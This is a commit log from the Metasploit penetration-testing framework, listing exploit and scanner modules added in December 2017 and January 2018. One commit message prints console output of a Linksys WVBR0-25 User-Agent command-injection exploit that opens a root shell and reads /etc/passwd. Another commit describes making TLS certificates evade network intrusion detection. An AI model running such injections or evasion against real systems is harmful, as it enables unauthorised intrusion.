2018-01-05 20:41:49 +00:00
Daniel Teixeira
b97785c7a9
Update labf_nfsaxe.rb
2018-01-05 18:46:33 +00:00
Daniel Teixeira
e7946549d7
Update labf_nfsaxe.rb
2018-01-05 18:31:40 +00:00
jgor
51e5fb450f
Detect and return on bad VNC negotiations
2018-01-05 10:12:13 -06:00
Brendan Coles
006514864b
Add HPE iMC dbman RestoreDBase Unauthenticated RCE exploit
2018-01-05 11:28:48 +00:00
Brendan Coles
52a5fc9e0a
Add HPE iMC dbman RestartDB Unauthenticated RCE exploit
2018-01-05 11:28:14 +00:00
Wei Chen
9fbddd6474
Land #9374 , fix HTML parsing problems for info -d
...
Land #9374
2018-01-04 16:08:56 -06:00
Daniel Teixeira
a3fb8b6619
Update labf_nfsaxe.rb
2018-01-04 20:55:38 +00:00
Matthew Kienow
67e7ea4df9
Fix markdown premature less-than sign escape
2018-01-04 15:51:05 -05:00
Daniel Teixeira
e5bb4bf057
Add files via upload
2018-01-04 20:26:28 +00:00
Daniel Teixeira
160f960f78
Add files via upload
2018-01-04 20:25:41 +00:00
Metasploit
3a7a539c84
Bump version of framework to 4.16.31
2018-01-04 12:17:08 -08:00
Jeffrey Martin
78872be2ad
Merge released '4.x'
2018-01-04 14:13:18 -06:00
h00die
65f444ddcc
land #9362 exploit for pfsense graph injection
2018-01-04 14:35:52 -05:00
wetw0rk
c9d6d0a7a7
-51
2018-01-04 12:25:31 -06:00
Metasploit
d4de9eef9b
Bump version of framework to 4.16.30
2018-01-04 10:03:21 -08:00
William Vu
50f4ebb3b2
Add register_dirs_for_cleanup to FileDropper
2018-01-04 11:06:32 -06:00
William Vu
d7c826b5e8
Add rm_rf to Post::File
2018-01-03 23:14:21 -06:00
William Vu
366a20a4a4
Fix #9215 , minor style nitpick
2018-01-03 23:11:51 -06:00
Brent Cook
520e890520
Land #8581 , VMware Workstation ALSA Config File Local Privilege Escalation
2018-01-03 21:35:57 -06:00
Wei Chen
b8dde2e650
Land #9360 , Ayukov NFTP FTP client buffer overflow vulnerability
...
Land #9360
2018-01-03 20:56:12 -06:00
Wei Chen
04cf3017c0
Update ayukov_nftp exploit and module documentation
2018-01-03 20:52:57 -06:00
Aaron Soto
7849155347
Land #9359 , Improve DCE/RPC fault handling
2018-01-03 20:42:17 -06:00
William Vu
c3f10c1d57
Land #9336 , Linksys WVBR0-25 exploit
2018-01-03 18:13:44 -06:00
headlesszeke
589de0483b
Clarification in product linkage and small syntax fixup in repro steps
2018-01-03 17:00:26 -06:00
dmohanty-r7
a5fa63405f
Land #9206 , Add Xplico RCE exploit module
2018-01-03 16:02:51 -06:00
Adam Cammack
16fa3b99ef
Land #9350 , Improve fake SSL cert details
2018-01-03 15:32:27 -06:00
Adam Cammack
a98de2d9a3
Land #9358 , Support password protected key files
2018-01-03 15:12:28 -06:00
William Vu
a1d43c8f33
Land #9215 , new Drupageddon vector
2018-01-03 14:45:32 -06:00
William Vu
84c951cc1d
Land #8059 , Postfixadmin alias modification module
2018-01-03 14:29:49 -06:00
wetw0rk
16d709f180
changes+filedropper
2018-01-03 14:09:30 -06:00
Brent Cook
70fbcc3ea8
Land #9280 , add initial module automation tests
2018-01-03 10:47:24 -06:00
headlesszeke
3b0f0aa358
Adding doc file for module linksys_wvbr0_user_agent_exec_noauth
2018-01-02 14:54:18 -06:00
wetw0rk
8f0e41e159
requested changes
2018-01-01 17:30:43 -06:00
wetw0rk
bc088cb379
added md
2018-01-01 05:46:04 -06:00
wetw0rk
c47d09717d
pfsense graph sploit
2018-01-01 03:18:51 -06:00
Daniel Teixeira
3af27a04e0
Update ayukov_nftp.rb
2017-12-31 17:48:37 +00:00
Daniel Teixeira
67357e316b
Update ayukov_nftp.rb
2017-12-31 17:48:23 +00:00
Daniel Teixeira
10b2833e7c
Update ayukov_nftp.rb
2017-12-31 17:00:17 +00:00
Daniel Teixeira
21717ae0a2
Create ayukov_nftp.rb
2017-12-31 15:43:16 +00:00
Daniel Teixeira
76d345039d
Create ayukov_nftp.md
2017-12-31 15:42:32 +00:00
bka-dev
086f657c56
Fix early termination of auxiliary/scanner/dcerpc/hidden
...
This commit fixes an issue, where auxiliary/scanner/dcerpc/hidden terminates directly, once an endpoint can't be reached or access is denied. Instead the next endpoint in list should be checked, instead of terminating directly.
2017-12-31 14:41:33 +01:00
RageLtMan
f2a8d68a1f
Permit encrypted SSH keys for login scanner
...
Net::SSH::KeyFactory permits loading keys using a passphrase.
The Framework SSH modules were implemented back when we had a fork
of net-ssh in our tree, and can now use functionality provided by
the upstream gem.
Update the ssh key login scanner to add a KEY_PASS datastore
OptString which is then passed to the KeyCollection class and used
in the updated :read_key method which now calls the KeyFactory to
read data and give us the appropriate String representation of the
key in the KeyCollection's cache.
A bit of cleanup performed as well, removing legacy code paths no
longer hit by the module. Shamelessly added self to authors, fair
amount of blood and sweat in the SSH subsystem over the years, hope
nobody objects.
Testing:
None yet
2017-12-31 02:53:06 -05:00
Brendan Coles
c153788424
Remove sleeps
2017-12-30 15:20:56 +00:00
Jan-Frederik Rieckers
7f3df74134
fixup! Adding Module for Postfixadmin CVE-2017-5930
...
Add error handling if request fails
Fix a typo in doc, add default value to doc
2017-12-30 13:04:23 +01:00
Matthew Kienow
2b96f8e272
Land #9353 , Implement CommandShellCleanupCommand
2017-12-29 17:06:28 -05:00
h00die
3516305517
land #9191 an exploit against HP LoadRunner magentproc
2017-12-29 16:35:43 -05:00
h00die
4dacc70b9a
slight updates to magentproc docs
2017-12-29 16:35:12 -05:00
h00die
b698095c49
slight updates to magentproc docs
2017-12-29 16:30:32 -05:00
Brent Cook
a444bdb329
handle no datastore
2017-12-29 15:26:28 -06:00
Jeffrey Martin
bb97467b31
docs for auxiliary/scanner/http/directadmin_login
2017-12-29 14:43:20 -06:00
Brent Cook
198aeda2c8
rename option
2017-12-29 12:31:56 -06:00
Brent Cook
e546598cf1
Implement a method for command shells to register a post-session cleanup command
2017-12-29 12:14:34 -06:00
Jan-Frederik Rieckers
289e887895
Adding Module for Postfixadmin CVE-2017-5930
...
This exploit allows domain admins to delete protected aliases.
It can be used to redirect aliases like abuse@domain and can aid in
further attacks.
2017-12-29 17:13:59 +01:00
RageLtMan
c32ef4a3be
Require msf/core/cert_provider in framework.rb
...
Add an explicit require for the new cert_provider in framework.rb
in case it has not yet been loaded.
This should address the Travis failure on initial PR, although the
gem version in socket has not been updated, so this might take a
bit to propagate. In the end, if the dependency already gives us
this functionality by the time we call Rex::Socket::Ssl then this
commit can safely be dropped
2017-12-29 02:14:48 -05:00
Brent Cook
8de760f1f7
Land #9348 , Only use basic auth in couchdb_enum when credentials are provided
2017-12-28 21:24:45 -06:00
RageLtMan
18f3815147
Update TLS certificate generation routines
...
Msf relies on Rex::Socket to create TLS certificates for services
hosted in the framework and used by some payloads. These certs are
flagged by NIDS - snort sid 1-34864 and such.
Now that Rex::Socket can accept a @@cert_provider from the Msf
namespace, a more robust generation routine can be used by all TLS
socket services, provided down from Msf to Rex, using dependencies
which Rex does not include.
This work adds the faker gem into runtime dependencies, creates an
Msf::Exploit::Remote::Ssl::CertProvider namespace, and provides
API compatible method invocations with the Rex version, but able
to generate higher entropy certs with more variables, options, etc.
This should reduce the hit rate against NIDS on the wire, reducing
pesky blue team interference until we slip up some other way. Also,
with the ability to generate different cert types, we may want to
look at extending this effort to probide a more comprehensive key
oracle to Framework and consumers.
Testing:
None yet, internal tests pending.
Travis should fail as this requires rex-socket #8 .
2017-12-28 21:00:03 -05:00
Metasploit
7254130b77
Bump version of framework to 4.16.29
2017-12-28 15:19:22 -08:00
Jeffrey Martin
66ca61f636
Merge released '4.x'
2017-12-28 17:15:29 -06:00
Pearce Barry
e614e9b732
Land #9268 , Update DiskBoss Module (EDB 42395)
2017-12-28 16:39:26 -06:00
Brent Cook
5e71be7772
add ard_root_pw documentation
2017-12-28 14:37:25 -06:00
Brent Cook
c2bb144d0f
Land #9302 , Implement ARD auth and add remote CVE-2017-13872 (iamroot) module
2017-12-28 14:11:26 -06:00
Metasploit
c681c7881d
Bump version of framework to 4.16.28
2017-12-28 10:03:39 -08:00
Brent Cook
8c2c30c230
Land #9330 , add MQTT scanner
2017-12-27 22:32:59 -06:00
Brent Cook
ae17943d4c
fix documentation preformat blocks
2017-12-27 22:32:26 -06:00
Brent Cook
6f1196d30c
clarify what's happening when there is a connection failure
2017-12-27 22:32:08 -06:00
james
fad4ccece9
Only use basic auth in couchdb_enum when credentials are provided
2017-12-27 20:16:01 -06:00
Jon Hart
bbed7db13c
Merge branch 'upstream-master' into feature/mqtt-login
2017-12-27 13:08:44 -08:00
Jeffrey Martin
8ea50572df
Land #9329 , Add basic framework for interacting with MQTT
2017-12-27 14:59:34 -06:00
Tod Beardsley
e6de25d63b
Land #9316 Cambium modules and mixins, tx @juushya
...
These cover several of the CVEs mentioned in
https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/
2017-12-26 12:39:51 -06:00
Tod Beardsley
1bb2bb9d2c
Oops, no admin in that path
2017-12-26 12:06:45 -06:00
Tod Beardsley
9af88681a2
Move deprecation out 60 days
2017-12-26 11:56:47 -06:00
juushya
8b0f2214b1
few more updates
2017-12-23 03:04:11 +05:30
b0yd
7aa296577e
Added readme
2017-12-22 14:34:35 -05:00
juushya
038119d9df
Use of get_cookies_parsed, changing dirs, marking deprecated in 2 mods, more
2017-12-23 00:14:27 +05:30
Jon Hart
d4bc98c13f
Merge branch 'upstream-master' into feature/mqtt-login
2017-12-22 08:07:40 -08:00
b0yd
ec7625af9f
Damn spaces...
2017-12-22 10:57:11 -05:00
b0yd
2b33b88fa4
Damn spaces
2017-12-22 10:54:31 -05:00
b0yd
e088c95a99
Module Cleanup
2017-12-22 10:51:01 -05:00
Tod Beardsley
674397fa06
Merge pull request #19 from jhart-r7/pr/9316
...
Correct permissions, fixing warning
2017-12-22 09:45:43 -06:00
Jon Hart
b29948412e
Correct permissions, fixing warning
2017-12-22 07:27:11 -08:00
b0yd
d657a9dc53
Commvault Remote Command Injection
2017-12-22 10:04:13 -05:00
headlesszeke
3dfb836768
Ranking upgrade and uses agent key instead of manually setting user-agent in headers
2017-12-21 23:10:26 -06:00
headlesszeke
b31ac73996
Ensure vulnerability check cannot false positive with the power of runtime randomness
2017-12-21 22:53:46 -06:00
William Vu
dc2b5df2ef
Update LICENSE for mysql_udf_payload
2017-12-21 21:03:22 -06:00
William Vu
caae33b417
Land #9170 , Linux UDF for mysql_udf_payload
2017-12-21 20:48:24 -06:00
headlesszeke
8c3836cc88
Removed msf/core require statement and extraneous debug message
2017-12-21 19:55:56 -06:00
juushya
a86abb0297
Implemented get_cookies_parsed
2017-12-22 05:36:36 +05:30
headlesszeke
96cff8b615
Merge pull request #1 from headlesszeke/headlesszeke-cve-2017-17411
...
Adds exploit module for CVE-2017-17411
2017-12-21 17:51:35 -06:00
headlesszeke
2ee42e1433
Adds exploit module for CVE-2017-17411
...
This module is for exploiting vulnerable Linksys WVBR0-25 wireless video bridges using CVE-2017-17411. The vuln in question involves a command injection due to improper sanitization of the User-Agent header. The module makes an initial GET request to the root of the web server and checks the result for a vulnerable firmware version. If vulnerable, it makes a subsequent GET request with the User-Agent set to `";<payload> #`. This can be verified against WVBR0-25 devices running firmware < 1.0.41.
Example console output:
```
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > info
Name: Linksys WVBR0-25 User-Agent Command Execution
Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-12-13
Provided by:
HeadlessZeke
Available targets:
Id Name
-- ----
0 Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to
connect wireless Genie cable boxes to the Genie DVR, is vulnerable
to OS command injection in version < 1.0.41 of the web management
portal via the User-Agent header. Authentication is not required to
exploit this vulnerability.
References:
http://cvedetails.com/cve/2017-17411/
http://www.zerodayinitiative.com/advisories/ZDI-17-973
https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat)
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat)
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
RHOST => 10.0.0.104
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
[*] 10.0.0.104:80 - Trying to access the device ...
[*] Started bind handler
[*] 10.0.0.104:80 - Exploiting...
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
id
uid=0(root) gid=0(root)
^C
Abort session 1? [y/N] y
[*] 10.0.0.104 - Command shell session 1 closed. Reason: User exit
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set cmd cat /etc/passwd
cmd => cat /etc/passwd
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
[*] 10.0.0.104:80 - Trying to access the device ...
[*] 10.0.0.104:80 - Exploiting...
[+] 10.0.0.104:80 - Command sent successfully
[*] 10.0.0.104:80 - Command output: root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nologin sshd:x:22:22::/var/empty:/sbin/nologin admin:x:1000:1000:Admin User:/tmp/home/admin:/bin/sh quagga:x:1001:1001:Quagga
[*] Exploit completed, but no session was created.
msf exploit(linksys_wvbr0_user_agent_exec_noauth) >
```
2017-12-21 17:44:35 -06:00
Metasploit
909caa0425
Bump version of framework to 4.16.27
2017-12-21 13:27:52 -08:00
Brent Cook
9d8cb8a8d0
Merge branch '4.x' into upstream-master
2017-12-21 15:17:38 -06:00
Metasploit
ee2f10efc5
Bump version of framework to 4.16.26
2017-12-21 10:04:38 -08:00
Tod Beardsley
5dfb5d581a
Switch get_cookies to get_cookies_parsed
...
Am I doing it right? See #9333
2017-12-21 09:00:56 -06:00
Jon Hart
becc05b4f1
Cleaner client_id handling
2017-12-21 06:57:33 -08:00
Jon Hart
157d973194
Merge branch 'feature/mqtt' into feature/mqtt-login
2017-12-20 19:13:34 -08:00
Jon Hart
82bdce683b
Remove to_s
2017-12-20 19:13:12 -08:00
Jon Hart
adca42f311
Merge branch 'feature/mqtt' into feature/mqtt-login
2017-12-20 19:11:52 -08:00
Jon Hart
b78f1105f7
Add missing port
2017-12-20 19:11:33 -08:00
Jon Hart
917e9aa328
Doc READ_TIMEOUT
2017-12-20 19:10:49 -08:00
Jon Hart
bedc276225
Merge branch 'feature/mqtt' into feature/mqtt-login
2017-12-20 19:09:51 -08:00
Jon Hart
ddb2566f3b
Remove duplicate options, set less suspicious client_id
2017-12-20 19:09:35 -08:00
Jon Hart
962bc71d10
Merge branch 'feature/mqtt' into feature/mqtt-login
2017-12-20 18:58:36 -08:00
Jon Hart
cf21d13b2e
Resolve conflict
2017-12-20 18:58:16 -08:00
Jon Hart
9c0df54f36
syntax
2017-12-20 18:54:09 -08:00
Jon Hart
fa1536209a
syntax
2017-12-20 18:52:34 -08:00
Jon Hart
508253eadc
More docs
2017-12-20 18:51:44 -08:00
Jon Hart
0f72ce1ee5
Add WIP documentation for auxiliary/scanner/mqtt/connect
2017-12-20 18:45:10 -08:00
Jon Hart
298cb16b1a
Set default USER/PASS files
2017-12-20 18:44:43 -08:00
Jon Hart
37ae5e1303
Add admin as a default unix passwd
2017-12-20 18:44:21 -08:00
William Vu
1975713a92
Land #9333 , get_cookies_parsed using CGI::Cookie
2017-12-20 20:08:33 -06:00
Jon Hart
b9af835d06
Style
2017-12-20 18:05:00 -08:00
Jon Hart
d0b3abc14b
Better handling of MQTT endpoints which don't require authentication
...
Arguably this is working around LoginScanner's inability to provide
blank usernames AND passwords
2017-12-20 18:02:52 -08:00
Jon Hart
2e62d77e36
Add new method for fetching parsed cookies from an HTTP response
...
This fixed #9332 .
2017-12-20 16:19:44 -08:00
Brent Cook
d567c965b0
Land #9331 , fix powershell extension, python meterpreter http headers
2017-12-20 16:52:41 -06:00
Brent Cook
24907938bb
bump payloads, various fixes
2017-12-20 16:47:37 -06:00
Jon Hart
495c649c7d
Better printing
2017-12-20 14:40:42 -08:00
Jon Hart
ed5f177fcd
syntax
2017-12-20 14:20:08 -08:00
Jon Hart
e66ec85677
Set default u/p
2017-12-20 14:18:33 -08:00
Brent Cook
3b78302868
Land #9327 , restore transport enum used in TLVs
2017-12-20 16:11:04 -06:00
Brent Cook
5fe9dba4dd
Land #9296 , add iOS meterpreter support
2017-12-20 16:09:41 -06:00
Brent Cook
df4f62cde9
bump to mettle 0.3.3
2017-12-20 15:58:17 -06:00
Jon Hart
7723933fa9
Merge branch 'feature/mqtt' into feature/mqtt-login
2017-12-20 13:42:16 -08:00
Jon Hart
741d08f604
Style cleanup
2017-12-20 13:33:47 -08:00
Jeffrey Martin
8cd7185a7f
Land #9313 , Add DirectAdmin login_scanner module
2017-12-20 15:23:24 -06:00
Jeffrey Martin
7f8a5d3834
improved credential reporting
2017-12-20 15:09:11 -06:00
Nick Marcoccio
86ce3c8781
Made suggested changes and added documentation
2017-12-20 15:54:16 -05:00
Jon Hart
14c779b945
Fix rubocop warning
2017-12-20 12:44:27 -08:00
Jon Hart
ac1daaf10e
Fix rubocop warning
2017-12-20 12:41:44 -08:00
Jon Hart
b4262662dc
Add missing mqtt login helper
2017-12-20 12:33:49 -08:00
Jon Hart
c817df0bbc
Add module for bruteforcing authentication on MQTT endpoints
2017-12-20 12:30:21 -08:00
Jon Hart
7e91274796
Add module for connecting to/discovering MQTT endpoints
2017-12-20 12:29:50 -08:00
Jon Hart
f15309bc48
Add basic framework for interacting with MQTT
2017-12-20 12:28:02 -08:00
Brent Cook
a8b845fff9
Land #9283 , Add node.js ws websocket library DoS module
2017-12-20 14:20:42 -06:00
Jeffrey Martin
9719ede3f0
restore transport enum used in TLVs
2017-12-20 13:12:24 -06:00
Matthew Kienow
31042d4171
Land #9324 , AutoRunScript with resource scripts
2017-12-20 13:52:53 -05:00
Brent Cook
210f137b7b
Merge branch 'upstream-master' into land-9296-
2017-12-20 12:07:53 -06:00
Brent Cook
3339c3b74d
remove magic, because it causes complications with complex RC scripts
2017-12-20 11:49:42 -06:00
Brent Cook
0c867d92fd
fix incorrect regex
2017-12-20 11:46:14 -06:00
Brent Cook
32c486023c
Land #9308 , Ensure tab completion in HWBridge sessions works
2017-12-20 11:29:11 -06:00
Brent Cook
4568445684
Land #9323 , remove OSDB ref
2017-12-20 11:19:35 -06:00
Brent Cook
64d346f2e8
Land #9326 , fix clipboard typo
2017-12-20 11:17:32 -06:00
Brent Cook
f204da452c
Land #9321 , use long-enough URL with web_delivery to encode architecture
2017-12-20 10:36:01 -06:00
Puru
bfa0cad8a5
Fix clipboard typo
2017-12-20 20:49:36 +05:45
Nick Marcoccio
ce457db1e3
fixed spaces at EOL
2017-12-20 09:24:30 -05:00
Nick Marcoccio
d6024277fc
fixed missing quote
2017-12-20 09:03:32 -05:00
Nick Marcoccio
139afe45a9
Add phpCollab 2.5.1 exploit module
2017-12-20 08:36:58 -05:00
Nick Marcoccio
fe15ac3b82
Removed file committed by mistake
2017-12-20 08:27:18 -05:00
Nick Marcoccio
fd2a0d3057
Add phpCollab 2.5.1 exploit module
2017-12-20 08:22:01 -05:00
Brent Cook
2629ec6bdb
infer whether the user supplied a Meterpreter or resource script
2017-12-20 06:43:20 -06:00
Brent Cook
5ecc45a0d1
nicely handle exceptions when processing scripts, tell the user about them
...
Let's help the user by saying what's going on.
2017-12-20 06:42:50 -06:00
Brent Cook
05c6079e0d
remove unused 'active_resource' accessor
2017-12-20 06:15:09 -06:00
EgiX
a4098803b3
Remove OSVDB reference
2017-12-20 13:10:42 +01:00
Tim
15da7c699d
Fix #7779 , fix multi/meterpreter/reverse_http with web_delivery
2017-12-20 16:32:07 +08:00
Brent Cook
9fb445fbf0
Land #9300 , Add private data type to auxiliary scanner ftp_login and telnet_login
2017-12-20 00:30:43 -06:00
Brent Cook
6b216f2a20
Land #9290 , Fix OverrideLHOST/LPORT with http/s Meterpreter payloads
2017-12-20 00:26:06 -06:00
Tod Beardsley
216d00e39f
Use a random fname destination for /etc/passwd
2017-12-19 17:02:16 -06:00
Tod Beardsley
e93282b71d
Drop calls to vprint_*
2017-12-19 16:53:02 -06:00
Tod Beardsley
2dc2ac134e
Don't default verbose
2017-12-19 16:48:41 -06:00
Jeffrey Martin
fe4c701016
Merge released '4.x'
2017-12-19 14:14:22 -06:00
Jon Hart
a2c5cc0ffb
Remove old deprecated modules
2017-12-19 07:56:16 -08:00
Tod Beardsley
2fa1568151
Get @jhart-r7's fixes for cookie tests
2017-12-19 09:03:51 -06:00
Jon Hart
7b386ea2c8
Fix msftidy warnings wrt Set-Cookie
2017-12-19 06:58:23 -08:00
Nick Marcoccio
acc6951bf3
fixed typo
2017-12-19 08:35:11 -05:00
Tim
358aca9435
apple_ios/aarch64/shell_reverse_tcp
2017-12-19 15:42:21 +08:00
Brent Cook
9f144ce8d4
Land #9151 , mettle extension support + sniffer module
2017-12-18 21:49:40 -06:00
Metasploit
66b1a555a1
Bump version of framework to 4.16.25
2017-12-18 16:33:25 -08:00
James Barnett
3d76c36511
Land #9314 , remove libsodium
...
Removing libsodium to fix build issues on various platforms
2017-12-18 18:16:23 -06:00
Tod Beardsley
01341aedc1
Land #9180 , @RootUp's Samsung Browser SOP module
...
Also lands #9311 , the docs for the same.
2017-12-18 17:44:07 -06:00
Tod Beardsley
8c1f1696af
Kill trailing whitespace in docs
2017-12-18 17:35:49 -06:00
Tod Beardsley
4aa480d655
Land #9311 , docs for #9180
2017-12-18 17:34:55 -06:00
Tod Beardsley
f0df1750de
Land #9180
...
Land @RootUp's Samsung browser SOP module
2017-12-18 17:28:03 -06:00
Tod Beardsley
85350a9645
Add Rapid7 blog references
2017-12-18 17:11:47 -06:00
Tod Beardsley
ae4edd65e1
Hard wrap descriptions
2017-12-18 17:03:13 -06:00
Tod Beardsley
c2b8d23854
Kill trailing whitespace
2017-12-18 16:56:09 -06:00
Tod Beardsley
6631ec6126
Merge remote-tracking branch 'upstream/master'
2017-12-18 16:48:33 -06:00
Tod Beardsley
65da14c165
Adding docs for modules
2017-12-18 16:47:43 -06:00
Tod Beardsley
72d3592b9c
New requires for Cambium mixins
2017-12-18 16:38:18 -06:00
Tod Beardsley
27a324237b
Initial commit for Cambium issues from @juushya
...
Note, these will trigger a bunch of WARNING msftidy messages for setting
cookies directly. This is on purpose.
2017-12-18 16:32:55 -06:00
Jeffrey Martin
04f294bd53
Fix #8972 , Remove libsodium until packaged better
...
Due to issues with packaging for multiple platforms libsodium as an optional dependency for 'rbnacl' is being removed. Once packaging issue are resolved this will be restored. This removes support for `ed25519` keys used with ssh for the time being however manual installation of this gem allows user to workaround this limitation.
2017-12-18 15:21:27 -06:00
Jon Hart
a33ed82a40
Land #9214 , @realoriginal's update to the Cisco SMI scanner to also fetch Cisco IOS configs
2017-12-18 12:22:26 -08:00
jgor
09772cb08a
Add negotiate_auth step to login_scanner test
2017-12-18 12:27:11 -06:00
Brent Cook
2a94a4417a
bump payloads
2017-12-18 10:01:10 -06:00
Ryan Knell
369d74cdb2
Updating documentation
...
Added a missing backtick
2017-12-18 10:34:00 -05:00
Nick Marcoccio
6d565b6c33
added author information
2017-12-18 09:18:36 -05:00
Nick Marcoccio
be2a3ca270
edited sid comment
2017-12-18 08:18:02 -05:00
William Vu
e9b9c80841
Fix #9307 , credit to @r0610205
2017-12-18 03:55:01 -06:00
William Vu
76823e9fe6
Land #9183 , Jenkins Groovy XStream RCE
2017-12-18 03:38:27 -06:00
William Vu
d3638d0487
Land #9154 , Tuleap PHP object injection exploit
2017-12-18 03:19:42 -06:00
William Vu
0e2a158abd
Fix global var $is_check (make ivar @is_check)
2017-12-18 03:15:33 -06:00
Nick Marcoccio
f447fa1a12
Added DirectAdmin Login Utillity
2017-12-17 22:43:37 -05:00
Pearce Barry
880a1d4283
Land #9312 , Module acting as a Pyrotechnical Device Deployment Tool (PDT) for Hardware Bridge
2017-12-17 18:32:28 -06:00
Pearce Barry
8344401484
Add docs, minor tweaks.
2017-12-17 18:15:49 -06:00
RootUp
95e2f1da95
Update samsung_browser_sop_bypass.md
2017-12-17 11:02:24 +05:30
RootUp
53a098a7f3
Update samsung_browser_sop_bypass.md
2017-12-16 22:46:29 +05:30
RootUp
6b54fe6775
Create samsung_browser_sop_bypass.md
2017-12-16 22:26:08 +05:30
RootUp
917dd8e846
Update samsung_browser_sop_bypass.rb
2017-12-16 22:10:02 +05:30
RootUp
8f91377acb
Update samsung_browser_sop_bypass.rb
2017-12-16 22:09:21 +05:30
RootUp
88a21d14f8
Merge pull request #3 from todb-r7/pr-9180
...
Thanks @todb-r7 works perfect !
2017-12-16 22:04:33 +05:30
Brent Cook
90b97d6581
Merge branch 'upstream-master' into land-9151-
2017-12-15 14:15:14 -06:00
Brent Cook
36a3088a67
Land #9303 , allow arguments to the editor with the 'edit' command
2017-12-15 13:46:15 -06:00
Pearce Barry
084dc4470d
Ensure tab completion in HWBridge sessions works as expected.
2017-12-15 12:19:26 -06:00
William Vu
0a1eea9860
Allow local_editor in cmd_edit to take arguments
...
Such as vim -i NONE. This may allow command injection via arguments.
However, you can already start an arbitrary program by setting
LocalEditor or escaping the editor.
msf > setg LocalEditor /bin/sh
LocalEditor => /bin/sh
msf > edit -i
[*] Launching /bin/sh -i
$
2017-12-14 19:51:57 -06:00
jgor
563cb6f18f
Update method name in test
2017-12-14 17:17:41 -06:00
Tod Beardsley
3b3b0e6e96
And this is why I hate using single quotes
...
Also, restored the store_cred call.
This will fix up RootUp/metasploit-framework#3 for PR #9180
2017-12-14 14:28:25 -06:00
William Webb
234ef5627e
Land #9299 , Add arch to MS17-010 detection
2017-12-14 12:20:56 -08:00
jgor
0b3a5567a4
Add module for CVE-2017-13872 iamroot remote exploit via ARD (VNC)
2017-12-14 13:59:35 -06:00
jgor
b99f044de5
Implement VNC security type 30 (Apple Remote Desktop) authentication
2017-12-14 13:57:38 -06:00
Metasploit
be4f9236f2
Bump version of framework to 4.16.24
2017-12-14 10:08:05 -08:00
bwatters-r7
9ea7747a5c
Land #9233 , Fix #9232 corruption of non-latin characters in W methods
...
Merge branch 'land-9233' into upstream-master
2017-12-14 11:54:36 -06:00
Pearce Barry
048b39ccd6
Initial commit of pdt module.
2017-12-14 09:23:21 -06:00
nromsdahl
384b250659
Add credential data type
...
Added credential data type so that successful passwords are stored in the database and accessible via the creds command.
2017-12-14 08:07:59 -06:00
nromsdahl
be4939b56a
Add credential data type
...
Added credential data type so a successful ftp login stores the password in the database to be accessed later by the creds command.
2017-12-14 08:05:57 -06:00
nromsdahl
e435dceb26
Merge pull request #1 from rapid7/master
...
Update from Original
2017-12-14 07:49:23 -06:00
William Vu
3cd287ddd6
Update the MS17-010 scanner to use dcerpc_getarch
2017-12-14 02:08:30 -06:00
William Vu
8e4b007edc
Move verify_arch to dcerpc_getarch
...
We can use this code elsewhere, such as the MS17-010 scanner.
2017-12-14 02:08:25 -06:00
Brent Cook
c6a2ae2551
Land #9248 , Add wd_mycloud_multiupload_upload exploit
2017-12-13 18:51:02 -06:00
Brent Cook
125a079fa9
add cve reference
2017-12-13 18:50:21 -06:00
h00die
d7ad443be1
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into upstream-master
2017-12-13 19:33:05 -05:00
h00die
c0a534140d
Land #9284 a regex dos for ua_parser_js npm module
2017-12-13 19:31:49 -05:00
h00die
544e4e3d0b
fix md formatting
2017-12-13 19:30:50 -05:00
Wei Chen
deacebc46b
Land #9264 , Add private type when storing SSH password
...
Land #9264
2017-12-13 18:24:31 -06:00
Wei Chen
cfec0f4965
Land #9282 , Add exploit for MSFT Office DDR in RTF format
...
Land #9282
2017-12-13 18:16:04 -06:00
Tod Beardsley
5226181d6d
Better conditionals from @bcoles
2017-12-13 16:48:05 -06:00
Tod Beardsley
966060d470
Nits picked by @bcoles: commas, quotes, and <head>
2017-12-13 16:38:17 -06:00
Nicholas Starke
dd5532c5de
Addressing Formatting Issues
...
There were several formatting and layout issues
that are fixed in this commit. Also changing
`RHOSTS` to `RHOST`.
2017-12-13 14:26:27 -06:00
Wei Chen
b99663fb6c
Bring #9282 up to date with upstream-master
2017-12-13 13:16:30 -06:00
RootUp
f0fc1bcecd
Merge pull request #2 from todb-r7/pr-9180
...
Hi @todb-r7
This works perfect in we can save creds in our MSF `creds`
2017-12-13 11:13:42 +05:30
Wei Chen
37514eec17
Land #9234 , Add exploit for ClickJacking vuln for pfSense
...
Land #9234
2017-12-12 14:56:21 -06:00
Wei Chen
c7019e5aee
Only load files once
2017-12-12 14:54:49 -06:00
Tod Beardsley
f18f90e7e4
Merge remote-tracking branch 'upstream/master'
2017-12-12 14:48:58 -06:00
Tod Beardsley
622050ddfc
Oops, leftover comment
2017-12-12 14:48:00 -06:00
Tod Beardsley
efa46efb48
